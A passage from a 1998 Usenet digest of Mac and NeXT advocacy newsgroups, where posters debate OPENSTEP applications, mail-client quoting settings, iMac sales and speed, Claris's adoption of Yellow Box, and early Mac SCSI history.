it to something fancier, that the option exists. Plenty of apps on the mac
and windows have settings initialized by the app that most people don't
understand and simply don't touch. It's nice to have the facility to touch
the settings if you know what your doing.
Regardless, if you're to not drag down the 1% (I think it's more) of people
that want to change that setting, you'll eventually have to have a text field
entry for some of the custom entries, no matter how many popups, etc. you
hide it behind. Though I do think it's nice to have the most common entries
in a facility you talk of. OTOH, if so few people will touch it, why bother.
The people that will muck with it will know what they are doing.
> > > There is no reasonably midrange WP (FrameMaker doesn't count,
> > Frame counts for me. It counts for others too.
>
> As a WP?
Yea. It's great. Doing my thesis on it now. I do all kinds of papers. The
templates kick but and the indexing and references are great.
> >> > WPerfect is dead, WriteUp is fairly "lite"). There's nothing
> >> > at
> >
> > So what that it's dead?
>
> So that means no one can buy it if they get a new machine. It
> might work
> for YOU, but that's little use to me (for instance).
Yea, but the platform itself is dead. Who is buying it for desktop use? No
one. The platform is undercut by OSX. You were saying that OPENSTEP (no
limitations inserted) sucked as a desktop platform. Well if you mean one to
buy into today, I agree; it's a *dead* platform. If you mean that it's
always sucked, I differ. The apps I use provide nice coverage and
interoperate nicely.
> > > all like FileMaker that I've seen. OmniWeb is pretty excellent
> > > though.
> >
> > DataPhile.
>
> Got an URL?
www.stone.com. It hasn't been OPENSTEP'ified yet. And it doesn't do
relational stuff (it acts as a front end to SQL back ends). But does the
bulk of the pretty flatfile stuff very well.
> > You're on crack imo. I've seen and had to use other mailers
> > and they all suck the fermented exriment from the dung eaters
> > in comparison. Clearly
> YMV.
>
> Being the "best" of a whole bunch of crap is not much of an
> endorsement!
> Have you used CyberDog for any period of time?
Not for any appreciable time. In the short contact, I didn't like it. If
you tell me it's one of the things that takes time to get into before get an
appiphany and thus enhanced work flow, I'll take you at your word. But off
the bat it seemed rather not nearly as elegant.
> > Enhancemail.bundle, particularly the latest version, does some
> > of the most powerful and coolest quoting.
>
> I'm using it, how do I get this cool stuff? It's always leaveing
> in old
> bits of quotes, not collapsing them down, deleting the "he said"
> header lines, etc.
I just copied and pasted these lines from the help page into the proper
Quoting Prefs Panel text fields:
Introduction:
On %{date}, %f (%i) wrote:
Prefix:
%!(%2)(%!(%3)(%i)> %4)
Regex:
^ *((On [^"]*"[^"]+" , [^:]*:)|([A-Za-z]+>+)|([>:|# ]*[>:|#])) ?
I haven't clue one as to how they work and never plan on deciphering them.
The nice thing though, is if you like you can edit and customize them if you
know what you're doing.
Give it a try.
> > MIME completely works for me from any other mailer.
>
> You have to be kidding! I have sent tar's to people on variopus
> platforms,
> and invariably not a single one worked. So then my sendmail-god
> buddy looked over one of them on the way in and basically said
> "this is BS, it's completely non-standard and won't work with
> anyone else". I trust him, and my experiences back this up.
That's really weird. I've sent zillions of tar.gz, graphics, etc via MIME
and never had a problem. I don't know how standard or not it is, but I have
a much higher (100% unless there's a bounce or something) success rate on
sending multimedia (attatchment rich) mime's than others.
> > I just can't stand the UI of RadNews.
>
> Neither can I.
>
> > If you do, then I'm starting to see what you consider UI.
>
> No, I hate it too.
>
> > As far as following the mail UI?
>
> Single window per "folder", messages read in that window,
> replies in
> another window. Ugg.
UG, I hate the window hell everywhere. This might be a very subjective
thing.
> > on crack would they look similar to me. Oh you probably want
> > windows weverywhere per article/email. I think that is a poor
> > UI implementation.
>
> You likely haven't used a good one.
That's true. I think all the other emailers I've seen suck big time in
comparison. They are not elegant at all.
> Well after spending two days debugging one, I can say without
> hesitation
> that such abilities are there. However they have not been
> implemented widely. This is exasperated by OS's inability to do
> text-drags on selections, another thing I'm hoping will come
> shortly.
Wordperfect does this and I've always hated it. Maybe with a two button
mouse a better implementation could be done. I hate the "drag when I really
wanted to re-select" thingy that happens. It slows my work flow. With two
buttons I think it could be very nice.
> > level function in this case. Most of the newsbrowser are free,
> > and so the functions there are all kindly donated by a very
> > small number of people. Considering this the offerings are
> > darn robust. Also, I think Newsgrazer allows for that (circa
> > 92?).
>
> There is simply no comparison to MT-NewsWatcher. It is an
> absolutely
> stunning program.
I'll have to try it sometime.
> > If you solve any of them I'm sure many will be greatful. :)
>
> Yes, but will I be rich? :-)
You're dealing with apple. Be wary. :)
> > > a good fix for a single bug for two days. Grrrrr, fileWrappers
> > > BITE!!
> >
> > I find them cooler than resource forks.
>
> Ummm, I'm missing something. How are they comparable?
I'm sorry. Are we talking about two different things? I mean that
containing resources in a directory to me seems more flexible than in the old
resource fork method on the mac. You might be talking of another kind of
wrapper.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Con-Tiki <con-tiki@geocities.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Date: Wed, 26 Aug 1998 16:20:03 +1200
Organization: The Real Pacific History
Message-ID: <35E38CF3.41CB9A34@geocities.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I've seen a G3 350.
I tell you, my PII266 kicks the G3 I saw.
The G3 is faster, but Mac O/s 8 uses to much Ram.
Windows - 4mb
Linux - 4mb
Mac O/s 8 - 11mb
That is the reason why.
thanks
bye
John Jensen wrote:
> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35D9EE6C.7032@ieighty.net> <6rcrqt$kjs$1@nnrp02.primenet.com> <6ri6hh$nql$2@hiram.io.com>
> Organization: Primenet (602)416-7000
> Distribution:
>
> Jeff Walther <trag@dillinger.io.com> wrote:
> : In comp.sys.mac.hardware.misc John Jensen <jjens@primenet.com> wrote:
>
> : > You know, I remember hardware hackers adding SCSI to the Mac 128 and "fat
> : > mac" 512 when Apple's position was that AppleTalk should be used for
> : > external disks. I _beleive_ that Apple followed these independent hacks
> : > with their own SCSI offering.
>
> : You know, I may be mistaken about this, but I don't think that any of
> : those SCSI upgrades existed until the Mac Plus was out. [...]
>
> Does anybody still have their '85 Mac magazines? ;-)
>
> : The code for the SCSI manager wasn't in the ROM until the Plus came
> : out and I don't think those SCSI upgrades work without that code
> : in the ROM. So the SCSI upgrades only worked on 512KE's not
> : 512K's and wouldn't work on a 128K at all, unless the ROM had been
> : upgraded.
>
> I did a little SCSI driver writting. The basic driver for a scsi device
> follows the original ('84) driver layout. The "SCSI Manager" was purely a
> transport utility, that is it would send command blocks and collect data
> blocks in return. Post-Plus scsi drivers used traps to the scsi
> manager to do their data transport. Off hand, I think a fatter driver
> in a Pre-Plus Mac could have done the data transport itself.
>
> Remember, that the serial hard disks from people like tecmar were able to
> work with the original ROMs. The problem is largely the same, with a
> difference in low level data transport.
>
> John
>
--
---------------
-Con Tiki-
--------------
-"The truth will overcome all who stand in its way"-
-"And the same people once did say the world was flat"-
-"The proof is out there"-
-"Think differently"-
-"Start the Revolution"-
-------------
The Real Pacific History at:
http:/www.geocities.com/athens/troy/4059/
-------------
If you are not working with Netscape Communicator-
You are working far to hard.
-------------
"He who does not take unwanted
knowage at all,
is either brain dead or brain normal."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 98 21:50:27 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B208E227-58041@206.165.43.87>
References: <6rva54$f1o$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
John Jensen <jjens@primenet.com> said:
>
>In my perusal of Java2D I see lots of objects, perhaps they are not
>oriented as you would like?
I haven't been able to access anything directly. I was merely going by what
Michael Peirce had said, and I may have misread what he said about
similarities (or non) between GX and Java2D. OTOH, perhaps GX is more
object-oriented than you realize and so the existence of objects makes you
assume that it is as OO as GX?
If you can furnish me with a URL to the API/library description of Java2D,
I can respond based on first-hand info.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: 25 Aug 98 09:24:51
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug25092451@slave.doubleu.com>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>
In-reply-to: Christian Neuss's message of 25 Aug 1998 11:01:05 GMT
In article <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>,
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
There's an interesting aspect to the figures quoted in the press
which I'd like to share with you:
According to press reports Apple is building about 8000 iMacs a
day, and around 13% of buyers are replacing Wintel machines. Well,
provided Apple sells iMacs as fast as they can make them (which is
probably the case), this means that Microsoft is losing customers.
At a rate of over 1000 users every 24 hours for the US alone. Not
bad for a 'toy computer', I'd say. :-)
A whole 365000 users a year? Boy, they'll really be feeling _that_.
Expect an MS and Intel response in 2015 or so...
[Hopefully, Apple can start converting more than 1000 Wintel users per
day. I've no doubt they can make more than 8000 units a day, if
desired... keep in mind that Wintel users are great crowd-followers.
There may be a breakpoint where that 13% of purchases being
conversions goes to 50% or better.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 98 09:18:51
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug25091851@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net>
<35e195df.0@news.depaul.edu> <Ey7J0r.Ev@T-FCN.Net>
<6rtut5$css$1@nnrp1.dejanews.com>
In-reply-to: quinlan@intergate.bc.ca's message of Tue, 25 Aug 1998 09:07:50 GMT
In article <6rtut5$css$1@nnrp1.dejanews.com>,
quinlan@intergate.bc.ca writes:
In article <Ey7J0r.Ev@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <35e195df.0@news.depaul.edu> Jonathan W Hendry wrote:
> > > I tested this because I thought it would be odd. It is odd.
> > > CD player's clock continues to update for instance, but
> > > OmniWeb stops filling the window.
> >
> > Which app is active?
>
> Same one both cases. IE, OmniWeb when opening OmniWeb menu,
> CDPlayer when opening CDPlayer. In both cases key input stopped.
>
> > In OpenStep 4.2, OmniWeb stops loading in all of its windows
> > when you're moving the scroller in one of its windows. The
> > content will be downloaded, but the windows won't be flushed
> > until you stop scrolling. Could be related.
>
> Hmmm, I'll try this too.
Guys, doesn't this behavior totally make sense? Scroller management
is handled by the application so, unless the application is
multi-threaded, you can't scroll while the application is busy. The
menu bar, OTOH, can be handled by the window server so you should
be able to use it while the application is busy.
Actually, it more than makes sense - it's essential that the default
for most activities is to not happen when the user is "doing"
something. Say, for instance, you have a terminal emulation
application. While the user is making a selection, you should _never_
update the window they're making the selection in, because you might
modify the selection the user is trying to make.
A consequence of this is that lots of things don't happen in a
multi-threaded fashion unless you arrange for them to happen. For
instance, in most apps with non-user update abilities, dragging the
scrollbar takes the app's entire attention while the user is dragging.
For OmniWeb, the files keep downloading (that's in a seperate thread),
but the actual drawing waits until you let go of the scrollbar
(drawing happens in the main thread).
You can get arbitrarily funky with things like this. Many people
choose not to, because it's not worth the effort in most cases, only
for long-running operations (users usually won't hold the mouse down
navigating the menu system for minutes, nor will they hold onto the
scrollbar for minutes).
BTW, can you still drag an applications window while it is busy? I
think that doing that with carbon applications would be easier but
still difficult.
Dragging windows around has no effect at all on the app, because it's
handled entirely in the window server. But closing, miniaturizing,
and menu handling are handled by the app.
Menus, in particular, probably have to be handled in the app, because
they can require app interaction at arbitrary times. For instance,
since most menus are not visible most of the time, it's easier to ask
the app which menu items should be disabled at the time the menu comes
up, rather than requiring the app to update the status after every
event. Saves time because you aren't remembering a bunch of info
that's never looked at anyhow.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Lyndell" <no email @ earthlink.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Date: Tue, 25 Aug 1998 23:34:47 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6s03tm$g1o$2@ash.prod.itd.earthlink.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com>
Really?! I have windows and it allocates 48MBs RAM at start up.
The G3 notebook I saw demos had a faster more responsive interface
than my P2, even before I added IE4.
--
Pray, Ponder and Drive.
Copyright 1997-1998
Con-Tiki wrote in message <35E38CF3.41CB9A34@geocities.com>...
I've seen a G3 350.
I tell you, my PII266 kicks the G3 I saw.
The G3 is faster, but Mac O/s 8 uses to much Ram.
Windows - 4mb
Linux - 4mb
Mac O/s 8 - 11mb
That is the reason why.
thanks
bye
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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Message-ID: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
Date: Wed, 26 Aug 1998 06:32:29 GMT
NNTP-Posting-Date: Tue, 25 Aug 1998 23:32:29 PDT
Organization: @Home Network
Anyone else find irony in Quark's proposed buyout of Adobe ?
url: http://interactive.wsj.com/articles/SB904089380264452000.htm
Is Quark for Macintosh that much better than Pagemaker ;-)
If Adobe can't hold onto its riches ±
it''ll lose its niches...
What is Adobe without it's niches?
-r
Date: Wed, 26 Aug 1998 08:04:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Message-ID: <joe.ragosta-2608980804420001@wil53.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com>
In article <35E38CF3.41CB9A34@geocities.com>, Con Tiki
<con-tiki@geocities.com> wrote:
> I've seen a G3 350.
> I tell you, my PII266 kicks the G3 I saw.
> The G3 is faster, but Mac O/s 8 uses to much Ram.
> Windows - 4mb
> Linux - 4mb
> Mac O/s 8 - 11mb
> That is the reason why.
>
LOL.
Windows uses 4 MB of RAM? But why would you put Windows 3.0 on a PII/266?
And why would you buy either a PII or G3 with less than 32-64 MB of RAM?
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: 26 Aug 1998 12:19:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s0ufu$ikd@news1.panix.com>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>
On 25 Aug 1998 11:01:05 GMT, Christian Neuss
<neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
>According to press reports Apple is building about 8000 iMacs a day,
>and around 13% of buyers are replacing Wintel machines. Well, provided
>Apple sells iMacs as fast as they can make them (which is probably
According to a salesman at J&R computerworld in Manhattan, many of the
wintel folks that might buy an iMac are holding off purchase until Apple
(or someone else) offers a way to move files over from their old machines.
The salesman also mentioned that a crowd forms by the iMac shortly after
the doors open, and it stays like that all day.
Date: Wed, 26 Aug 1998 08:25:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Message-ID: <joe.ragosta-2608980825210001@wil53.dol.net>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <35E3231A.18F3@friend.ly.net>
In article <35E3231A.18F3@friend.ly.net>, Jeff Barber
<jtbarber@friend.ly.net> wrote:
> Christian Neuss wrote:
> >
> > There's an interesting aspect to the figures quoted in the press
> > which I'd like to share with you:
> >
> > According to press reports Apple is building about 8000 iMacs a day,
> > and around 13% of buyers are replacing Wintel machines. Well,
> > provided
> > Apple sells iMacs as fast as they can make them (which is probably
> > the case), this means that Microsoft is losing customers. At a rate
> > of over 1000 users every 24 hours for the US alone. Not bad for a
> > 'toy computer', I'd say. :-)
>
> Except that Micro$oft is so huge and pervasive that they
> manage to make money even in this situation. If Micro$oft
> makes money with every VPC sold, and if VPC comes with these
> iMacs, then Micro$oft is still making some money. The VPC
> 2.0 that I purchased also came with a W95 cdrom. I imagine
> that Micro$oft made some money with the license in that deal.
>
> Sort of frustrating that Micro$oft manages to eke out a win
> even when it looks like a loss. I think that the only real
> loser in the situation would be the h/w suppliers for
> PC systems, unless they also make some h/w for Mac systems.
Don't kid yourself. It's not the money in this case.
First, it's been rumored that MS doesn't make any money on OS sales--they
make it all on application sales. So let's say that MS makes exactly the
same amount of money whether you buy a Mac to run MS Office or a PC to run
MS Office. If you buy VPC on the Mac, their income is the same regardless
of whether the OS is profitable or not.
But it's about control. If 10% of Windows users switched to the Mac, MS'
profits would be essentially unchanged under either of the above
scenarios. But they would be incredibly upset by the loss of control.
They'd do anything to maintain their monopoly. The more viable an
alternative is, the more it hurts them.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 26 Aug 1998 12:56:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s10l8$213$1@nnrp1.dejanews.com>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net> <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net> <joe.ragosta-2508981407340001@wil66.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Which brings me back to my (almost) first point - where is the
> > announcement from apple that FileMaker has been either carbonized or
> > yb'd? It looks like it's a bluebox app, and that's it. This isn't
> > encouraging others to adopt "how easy can it be, apple hasn't done it?"
> > (referring to both carbon and yellow box).
> >
> Apple has a history of this (slow adoption of their cool new technologies
> in Claris apps). How long was OpenDoc out before Apple even announced that
> it would be included in ClarisWorks? And I don't think they _ever_
> announced that FileMaker would support OpenDoc.
Apple also has a history of doing lots of other boneheaded things, from poor
inventory management to model multiplication. Aren't we supposed to have a
'new Apple" that has learnt from its mistakes?
Sorry, but "Apple has a history" doesn't wash as an excuse for not announcing
plans of either Carbonizing or Yellowboxing Claris apps (ideally the latter).
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 26 Aug 1998 12:59:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s10r6$220$1@nnrp1.dejanews.com>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net> <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net> <joe.ragosta-2508981407340001@wil66.dol.net> <1debsbg.1k10n2u13e5t1kN@roxboro0-060.dyn.interpath.net>
phenix@interpath.com (John Moreno) wrote:
> > > Which brings me back to my (almost) first point - where is the
> > > announcement from apple that FileMaker has been either carbonized or
> > > yb'd? It looks like it's a bluebox app, and that's it. This isn't
> > > encouraging others to adopt "how easy can it be, apple hasn't done it?"
> > > (referring to both carbon and yellow box).
> > >
> > Apple has a history of this (slow adoption of their cool new technologies
> > in Claris apps).
>
> But - regardless of past behavior, *at the moment* such a announcement
> is desperately needed. At the very /least/ they need to say they've
> Carbonized it. Unlike OpenDoc this is something that they /have/ to get
> accepted, and the best way to get it to be accepted is to show
> confidence in it - and the best way to do /that/ is to start changing
> over themselves.
Exactly.
> I think they ought to be Carbonizing and resaling everything which they
> don't think will cost them a ton of money - if they can release a new
> Carbonized version of something (Emailer for example) and only loose a
> few hundred grand then they should do so. That wouldn't be a loss it
> would be a advertising expense (not that I think they couldn't sale
> enough upgrades or new versions to make it break even, but that loosing
> a little money to show confidence isn't a loss).
Exactly.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Wed, 26 Aug 1998 09:13:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Message-ID: <joe.ragosta-2608980913590001@wil53.dol.net>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <6s0ufu$ikd@news1.panix.com>
In article <6s0ufu$ikd@news1.panix.com>, sal@panix.com wrote:
> On 25 Aug 1998 11:01:05 GMT, Christian Neuss
> <neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
> >According to press reports Apple is building about 8000 iMacs a day,
> >and around 13% of buyers are replacing Wintel machines. Well, provided
> >Apple sells iMacs as fast as they can make them (which is probably
>
> According to a salesman at J&R computerworld in Manhattan, many of the
> wintel folks that might buy an iMac are holding off purchase until Apple
> (or someone else) offers a way to move files over from their old machines.
They did. Ethernet.
Or IR.
Or, connect a cable from one modem to the other.
>
> The salesman also mentioned that a crowd forms by the iMac shortly after
> the doors open, and it stays like that all day.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
Date: Wed, 26 Aug 1998 09:13:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <joe.ragosta-2608980913260001@wil53.dol.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com> <joe.ragosta-1708980828590001@wil51.dol.net> <35d84369.0@news.depaul.edu>
In article <35d84369.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > USB-SCSI? No thanks. There's an Ethernet-SCSI bridge that's not going to
> > limit SCSI to 1.25 MB/sec.
>
> That better be 100 megabit ether, otherwise USB (12 megabit) is
> faster (than 10 megabit ether).
Right. But since the iMac is 100BaseT, if you're developing a product for
the iMac, you'd want to use Ethernet.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: John Jensen <jjens@primenet.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Date: 26 Aug 1998 13:40:39 GMT
Organization: Primenet (602)416-7000
Message-ID: <6s138n$rk8$2@nnrp02.primenet.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu>
<6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com> <6s0bh6$3st$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
: The more you post, the dumber you look.
That's true for all of us.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 26 Aug 1998 13:33:06 GMT
Organization: Primenet (602)416-7000
Message-ID: <6s12qi$rk8$1@nnrp02.primenet.com>
References: <6rva54$f1o$1@nnrp02.primenet.com> <B208E227-58041@206.165.43.87>
Lawson English <english@primenet.com> wrote:
: John Jensen <jjens@primenet.com> said:
: >In my perusal of Java2D I see lots of objects, perhaps they are not
: >oriented as you would like?
: I haven't been able to access anything directly. I was merely going by what
: Michael Peirce had said, and I may have misread what he said about
: similarities (or non) between GX and Java2D. OTOH, perhaps GX is more
: object-oriented than you realize and so the existence of objects makes you
: assume that it is as OO as GX?
: If you can furnish me with a URL to the API/library description of Java2D,
: I can respond based on first-hand info.
Sure, the URL you had yesterday was almost right (apparently they've
changed the domain name):
http://www.javasoft.com/products/java-media/2D/index.html
John
Date: Wed, 26 Aug 1998 10:02:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Message-ID: <joe.ragosta-2608981002410001@0.0.0.0>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net> <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net> <joe.ragosta-2508981407340001@wil66.dol.net> <6s10l8$213$1@nnrp1.dejanews.com>
In article <6s10l8$213$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > Which brings me back to my (almost) first point - where is the
> > > announcement from apple that FileMaker has been either carbonized or
> > > yb'd? It looks like it's a bluebox app, and that's it. This isn't
> > > encouraging others to adopt "how easy can it be, apple hasn't done it?"
> > > (referring to both carbon and yellow box).
> > >
